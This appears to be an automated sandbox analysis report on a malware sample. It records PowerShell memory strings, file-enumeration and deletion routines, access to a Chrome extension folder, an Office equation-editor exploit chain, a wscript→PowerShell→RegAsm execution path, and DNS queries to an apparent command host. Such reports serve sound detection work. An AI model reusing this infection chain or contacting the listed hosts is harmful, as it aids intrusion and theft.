Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: +dnlib.DotNet.Pdb.PdbWriter+<GetScopes>d__17 source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\New Private Panell Src 3.0\Rump Updated FIX C#\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000007.00000002.365103207.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366645205.0000000006300000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	19_2_000C1D4A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	19_2_000C3ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	19_2_000C2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_0008255C lstrcatW,PathAppendW,FindFirstFileW,RtlZeroMemory,lstrcatW,PathAppendW,lstrcatW,PathAppendW,StrStrIW,FindNextFileW,FindClose,	21_2_0008255C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000815BE RtlZeroMemory,SHGetSpecialFolderPathW,lstrcatW,PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathCombineW,PathMatchSpecW,PathCombineW,FindNextFileW,FindClose,	22_2_000815BE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000814D8 wsprintfW,FindFirstFileW,wsprintfW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,	22_2_000814D8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_000813FE wsprintfW,FindFirstFileW,wsprintfW,RemoveDirectoryW,FindNextFileW,FindClose,	22_2_000813FE

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Source: global traffic	DNS query: name: ia803104.us.archive.org
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga
Source: global traffic	DNS query: name: prolinice.ga

